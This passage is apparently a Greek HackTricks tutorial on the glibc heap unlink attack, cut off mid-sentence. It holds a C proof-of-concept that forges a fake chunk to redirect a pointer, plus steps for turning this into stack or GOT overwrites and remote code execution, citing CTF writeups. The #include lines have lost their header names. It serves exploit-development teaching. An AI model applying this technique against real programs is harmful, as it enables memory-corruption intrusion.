Unlink Attack
Last updated
Last updated
Μάθετε & εξασκηθείτε στο Hacking του AWS:Εκπαίδευση HackTricks AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο Hacking του GCP: Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)
Ελέγξτε τα σχέδια συνδρομής!
Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα αποθετήρια HackTricks και HackTricks Cloud.
Όταν ανακαλύφθηκε αυτή η επίθεση, κυρίως επέτρεπε ένα WWW (Write What Where), ωστόσο, προστέθηκαν ελέγχοι κάνοντας τη νέα έκδοση της επίθεσης πιο ενδιαφέρουσα και πιο πολύπλοκη και άχρηστη.
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* Η επίθεση δεν λειτουργεί εάν χρησιμοποιούνται τα tcaches (μετά την έκδοση 2.26)
### Στόχος
Αυτή η επίθεση επιτρέπει να **αλλάξει ένα δείκτη ενός κομματιού ώστε να δείχνει 3 διευθύνσεις πριν από τον εαυτό του**. Εάν αυτή η νέα τοποθεσία (γύρω από το σημείο όπου βρισκόταν ο δείκτης) περιέχει ενδιαφέροντα πράγματα, όπως άλλες ελέγξιμες δεσμεύσεις / στοίβα..., είναι δυνατόν να διαβάσετε/αντικαταστήσετε αυτά για να προκαλέσετε μεγαλύτερη ζημιά.
* Εάν αυτός ο δείκτης βρισκόταν στη στοίβα, επειδή τώρα δείχνει 3 διευθύνσεις πριν από τον εαυτό του και ο χρήστης πιθανόν μπορεί να το διαβάσει και να το τροποποιήσει, θα είναι δυνατόν να διαρρεύσει ευαίσθητες πληροφορίες από τη στοίβα ή ακόμη και να τροποποιήσει τη διεύθυνση επιστροφής (ίσως) χωρίς να αγγίξει το canary
* Σε παραδείγματα CTF, αυτός ο δείκτης βρίσκεται σε έναν πίνακα δεικτών προς άλλες δεσμεύσεις, επομένως, καθιστώντας τον να δείχνει 3 διευθύνσεις πριν και να μπορεί να το διαβάσει και να το γράψει, είναι δυνατόν να κάνει τους άλλους δείκτες να δείχνουν σε άλλες διευθύνσεις.\
Καθώς πιθανόν ο χρήστης μπορεί να διαβάσει/γράψει επίσης τις άλλες δεσμεύσεις, μπορεί να διαρρεύσει πληροφορίες ή να αντικαταστήσει νέα διεύθυνση σε αυθαίρετες τοποθεσίες (όπως στο GOT).
### Απαιτήσεις
* Κάποιος έλεγχος σε μνήμη (π.χ. στοίβα) για να δημιουργήσει μερικά κομμάτια δίνοντας τιμές σε μερικά από τα χαρακτηριστικά.
* Διαρροή στη στοίβα για να ορίσει τους δείκτες του ψεύτικου κομματιού.
### Επίθεση
* Υπάρχουν δύο κομμάτια (chunk1 και chunk2)
* Ο επιτιθέμενος ελέγχει το περιεχόμενο του chunk1 και τους κεφαλίδες του chunk2.
* Στο chunk1 ο επιτιθέμενος δημιουργεί τη δομή ενός ψεύτικου κομματιού:
* Για να παρακάμψει τις προστασίες, βεβαιώνεται ότι το πεδίο `size` είναι σωστό για να αποφευχθεί το σφάλμα: `corrupted size vs. prev_size while consolidating`
* και τα πεδία `fd` και `bk` του ψεύτικου κομματιού δείχνουν εκεί όπου αποθηκεύεται ο δείκτης του chunk1 με μετατοπίσεις -3 και -2 αντίστοιχα, έτσι ώστε `fake_chunk->fd->bk` και `fake_chunk->bk->fd` να δείχνουν στη θέση στη μνήμη (στοίβα) όπου βρίσκεται η πραγματική διεύθυνση του chunk1:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Οι κεφαλίδες του chunk2 τροποποιούνται για να υποδεικνύουν ότι το προηγούμενο κομμάτι δεν χρησιμοποιείται και ότι το μέγεθος είναι το μέγεθος του ψεύτικου κομματιού που περιέχεται.
* Όταν απελευθερώνεται το δεύτερο κομμάτι τότε συμβαίνει η αποσύνδεση αυτού του ψεύτικου κομματιού:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Προηγουμένως έγινε ώστε `fake_chunk->fd->bk` και `fake_chunk->bk->fd` να δείχνουν στον ίδιο τόπο (τη θέση στη στοίβα όπου αποθηκευόταν το `chunk1`, έτσι ήταν μια έγκυρη συνδεδεμένη λίστα). Καθώς **και τα δύο δείχνουν στην ίδια τοποθεσία**, μόνο το τελευταίο (`fake_chunk->bk->fd = fake_chunk->fd`) θα έχει **επίδραση**.
* Αυτό θα **αντικαταστήσει τον δείκτη στο chunk1 στη στοίβα με τη διεύθυνση (ή bytes) που αποθηκεύεται 3 διευθύνσεις πριν στη στοίβα**.
* Επομένως, εάν ένας επιτιθέμενος μπορούσε να ελέγχει ξανά το περιεχόμενο του chunk1, θα μπορούσε να **γράψει μέσα στη στοίβα** είναι δυνατόν να αντικαταστήσει τη διεύθυνση επιστροφής παραλείποντας το canary και να τροποποιήσει τις τιμές και τους δείκτες των τοπικών μεταβλητών. Ακόμη, τροποποιώντας ξανά τη διεύθυνση του chunk1 που αποθηκεύεται στη στοίβα σε μια διαφορετική τοποθεσία όπου εάν ο επιτιθέμενος μπορούσε να ελέγχει ξανά το περιεχόμενο του chunk1 θα μπορούσε να γράψει οπουδήποτε.
* Να σημειωθεί ότι αυτό ήταν δυνατό επειδή οι **διευθύνσεις αποθηκεύονταν στη στοίβα**. Ο κίνδυνος και η εκμετάλλευση μπορεί να εξαρτώνται από το **πού αποθηκεύονται οι διευθύνσεις προς το ψεύτικο κομμάτι**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Αναφορές
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Αν και θα ήταν περίεργο να βρείτε μια επίθεση unlink ακόμη και σε ένα CTF, εδώ έχετε μερικά writeups όπου χρησιμοποιήθηκε αυτή η επίθεση:
* Παράδειγμα CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* Σε αυτό το παράδειγμα, αντί για τη στοίβα υπάρχει ένας πίνακας από διευθύνσεις που έχουν δεσμευτεί με τη μέθοδο malloc. Η επίθεση unlink πραγματοποιείται για να είναι δυνατή η δέσμευση ενός κομματιού εδώ, επομένως είναι δυνατόν να ελέγχει τους δείκτες του πίνακα από τις διευθύνσεις που έχουν δεσμευτεί με τη μέθοδο malloc. Στη συνέχεια, υπάρχει μια άλλη λειτουργικότητα που επιτρέπει την τροποποίηση του περιεχομένου των κομματιών σε αυτές τις διευθύνσεις, η οποία επιτρέπει να δείχνουν οι διευθύνσεις στο GOT, να τροποποιούνται οι διευθύνσεις συναρτήσεων για να λάβουν διαρροές libc και RCE.
* Άλλο παράδειγμα CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Όπως και στο προηγούμενο παράδειγμα, υπάρχει ένας πίνακας διευθύνσεων δεσμεύσεων. Είναι δυνατόν να πραγματοποιηθεί μια επίθεση unlink για να κάνει η διεύθυνση της πρώτης δέσμευσης να δείχνει λίγες θέσεις πριν από την έναρξη του πίνακα και να αντικαταστήσει αυτή τη δ